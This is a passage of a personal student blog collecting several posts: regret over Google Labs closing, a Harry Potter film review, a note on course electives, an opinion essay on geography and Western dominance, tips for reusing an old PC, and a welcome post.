 is one stop place to find all those cool and nifty project ideas like Google Body and Google Talk Guru  from Google which might never become a full blown product.

This move of Google to close down Labs comes as a big surprise to me. Google is clearly making a Yahoo!  kinda decision here. Yahoo! is known to kill it’s products now and then, but to kill a successful project like Google Labs is beyond me. Closing it will mean some of the tools will be lost into oblivion. I hope Google will reconsider their decision and will continue Google Labs.

You can check out Google Labs products at it’s homepage.

Google Labs HomePage!

“After all, to the well-organized mind, death is but the next great adventure.” – Albus Dumbledore

“After all, to the well-organized mind, end is but the next great adventure.” – Ashwin Saxena

Can you ever forget the joy of reading a Harry Potter book?

With recently released Harry Potter and the Deathly Hallows 2, the epic saga that’s been running for 14 years comes to an end(:?:). Since the release of first Harry Potter book on 30 June 1997 to the release of last HP movie on 15th July 2011, everyone got hooked to the magical world of J.K. Rowling. Do you remember when you picked up your first Harry Potter novel? How magical it felt when you finally finished it? When you speculated the future of series? How you discussed with your friends about the illogical differences in books and movies?
I remember too! I am one of those people who read books first and watched movie later. I read the first book back in 2002 when I was 14. After that I read Harry Potter books multiple times. I used to troll around MuggleNet forums discussing theories, reading editorials and dissing people who believed Harry & Hermione will pair-up eventually. The fun days!

 

Yesterday I watched the final installment of Harry Potter movies – Harry Potter and The Deathly Hallows : 2. The movie is great for those who’ve only watched HP-Movies till now. It summarizes the novel very well, but for novel fans like me, the movie felt rushed and had a number of logical inconsistencies. For example why Crabbe (the disgraced Jamie Waylett) was replaced as Malfoy’s henchman by Blaise Zabini in the climax’s Room Of Requirements sequence? The sequence in mystical King’s Cross feels too final, it seems ridiculous that Potter still has another big duel with Voldemort to come. What took an instant (Voldemort’s death) in book took 10 minutes in the movie. The battle of Hogwarts while had some awesome special effects, it didn’t feel as much epic. Where was Hagrid? Why add a throwaway line to create a romance between Neville and Luna?
Still I’m not disappointed with the movie. When it comes to book’s based movies, you can’t satisfy everybody. Some sequences in movie were clearly a work of art, Snape’s flashback, for example, is as emotionally devastating in the film as it is in the book, revealing him to be the greatest hero of the series in a sequence of ever-more-poignant vignettes. Snape did it all for love – which is the basic theme of the Harry Potter books. In fact if you ask me, the only love more stronger than his was of Lily Potter who died to protect her child.
Danial Radcliff, Rupert Grint and Emma Watson are fantastic actors and I hope they don’t meet the same fate as of Elijah Wood (Froodo of Lord of the Rings, where is he anyways?).

I was too happy to see the ‘After 19 years’ sequence in the movie. It gives the story a proper closing. But is it really the end?
J.K. Rowling made sure that people won’t be able forget Harry Potter so soon. With the The Wizarding World of Harry Potter™ theme park at Universal Orlando now open for public and the new Harry Potter themed social networking site by J.K. Rowling herself-  PotterMore coming this October, I don’t think potter-mania will go away anytime soon. J.K. Rowling has promised 15000 words of extra content, related to books to be available in PotterMore, that should keep most of the fans hooked.

In the end I would like to say that Harry Potter books were a great influence on me. Because of them, reading and writing became my passion and after them, I read many amazing novels, some even more satisfying than even Harry Potter books. If you have only watched Harry Potter movies till now- I suggest you go grab a book right now!

MCA 5th SEMESTER COURSES :

  In two electives, I am taking “System Programming” and “Data Warehousing and Data Mining“.

If anybody is interested in reading the whole course structure, it can be downloaded from HERE or HERE.

The World View

In 17th century many Westerners visited India and China and they were overawed by the wealth and sophistication of societies in Asia. But in 18th century many Europeans started to believe the Westerners were simply superior to rest of the world. According to French social commentator Baron de Montesquieu Europeans had “- a certain vigor of Body and Mind which renders them patient and intrepid and qualifies them for arduous exercises.”.

When asked why Europeans are superior to everyone else they often concluded that it was their ‘CULTURE’. Just look, they argued, at the doctrines of Socrates, the wisdom of the bible, or the works of Leonardo da Vinci.
In my opinion they couldn’t be more wrong. For example Socrates wasn’t the only philosopher in 5th Century BC. The years when he was active were also the age of Buddha and early Jainism in India and Confucius and first Daoists in China. They answered the same questions Socrates dealt with – The Meaning of reality, the way of good life and creation of
perfect society. Socrates was just the local version of a broader trend.

Buddha - Not Laughing!

Christianity was also a local version of a broader trend than something that set the West apart from the rest. As the roman empire fell in mid-first millennium, new questions arose – ” Is there anything beyond life? Can I be saved from the aftermath?” The Christianity provided the answers (let’s not get into the validity of those answers) and gained over 40 million followers. But in the same years in the wake of Han Dynasty’s fall in China, Mahayana and Buddhism were offering
their own answers to same questions. Soon enough Islam reached to Africa, the middle east and southern Asia. Leonardo da Vinci refined wisdom of ancient west to revolutionize everything from aeronautics to arts but 400 years before Vinci China has produced it’s own Renaissance men who refined ancient wisdom to revolutionize everything. Shen Kua
(1031-1095) published groundbreaking work in field of agriculture science, archeology and geology etc. Da Vinci would no doubt have been impressed. The triumphs of western culture were impressive but they were just local version of a broader trend and not lonely beacons in general darkness.

So if culture wasn’t the factor than what made Europeans superior? Answer is simple : ‘GEOGRAPHY‘.
Geography is unfair – societies evolve with the same sequence of cultural development. Geography dictates the speed at which different parts of World develop but the development can redefine geography too. 5000 years ago Europe was at a disadvantage geographically. It was far from centers of action Mesopotamia and Egypt so at the very beginning of recorded history geography made western Europe backward. Fast-forward to 500 years ago same geography gave western Europe wealth and power. Geography was the reason that it was Europeans and not Indians or Chinese who first discovered, colonized and plundered the Americas. India and China were as developed as Europe but geography placed them twice as far from American Continent as Europe, so Europeans got there first. But the western dominance will not last forever. History teaches that. The back-and-forth between Geography and Social development keeps on working. By 1900, the vast resources of USA made it the ‘top nation’. In late 20th century the human resources of Japan, South Korea, Taiwan and eventually China and India made them newer global cores. If the process of change continues with the same pace in 21st century we can expect the East to overtake West by 2050.

Few days ago at home, my father decided to sell our old computer for 5000 bucks.

Don't throw me!

There is nothing wrong with it, it sports a Pentium 4 1.9Ghz processor, 512GBs 256MBs of DDR RAM, Intel 845 based Gigabyte motherboard, a Pinnacle-PCTV stereo TV-Tuner card and 40GBs of PATA harddisk. It is still alive in the sense that it turns on and off but it’s too outdated to run any new applications. It is my first computer which we bought in 2002. Needless to say many good (and a bad memory involving bike-accident) are attached with it. For me it is a friend who taught me many things. I wasn’t just ready to part with it.

So I convinced my father that this computer is still worth keeping.

If you too have an old computer which works; I bet it can still serve you for few more years to come.  Don’t throw it away, here are few ways to reuse a not so obsolete Computer.

Make it a single purpose computer : Clear out all the programs and keep only one or two which performs some specific functions. For example you can make it a Web-Surfing kiosk. All you need is a basic Operating System (Linux works best) and a web-browser (Chromium is very light).

Upgrade :  If it is not too old you can probably upgrade few hardware components to make it run marathons again (not literally of course). A simple RAM upgrade or  addition of a Graphic Card will give your Computer a huge performance boost. An upgrade is much better than purchasing a whole new system again!

Turn it into a media server : That’s what I did! For this you need to  clear all unnecessary data from computer and install the latest version of your preferred operating system (Windows if your family is going to use this) with all patches. You will also need a fast internet connection for downloading all those TV-Shows and music from iTunes. USB TV-Tuners are cheap, you can get one to record your favorite TV shows. Upgrade your hard-disk to at least 320GBs and get a wireless router. Once everything is installed and your router is ready and turned on setup a network. Access the media from any laptop in the house.

Your computer will thank you for these extra years of life.

Hello folks,

Welcome to my new blog!
I am Ashwin Saxena (hence the ashwinsaxena.com) or maybe you know me as Quiz_Master from Think-Digit community.  I am a final year student of  Master of Computer Application in AMITY University Jaipur, Rajasthan. In case it is not obvious,  I am also the writer of this blog.  I am from Ratlam (M.P.), India.

I am a kind of person who loves to learn and then share the knowledge with world.  Knowledge and information are the most precious gifts you can give to a person.  As the old Chinese proverb goes – “Give a man a fish and he will eat for a day. Teach a man to fish and he will eat for life”.  This blog will be a place where I will share what I discover and learn.

As a student of Computer Applications and Computer Science, I am very passionate about every aspect of Technology and how it shapes our lifestyle. I am intrigued by how we humans get affected by technology we ourselves are developing.  Here I will share how I learned to solve a particular problem so that you don’t have to reinvent the wheel. Here I will post about technology buzz, we all should be aware of.  So come back here everyday…  I know we will be able to learn a lot together.

You can get in touch with me anytime at : quizmasterashwin[at]gmail[d0t]com or use the comments form here!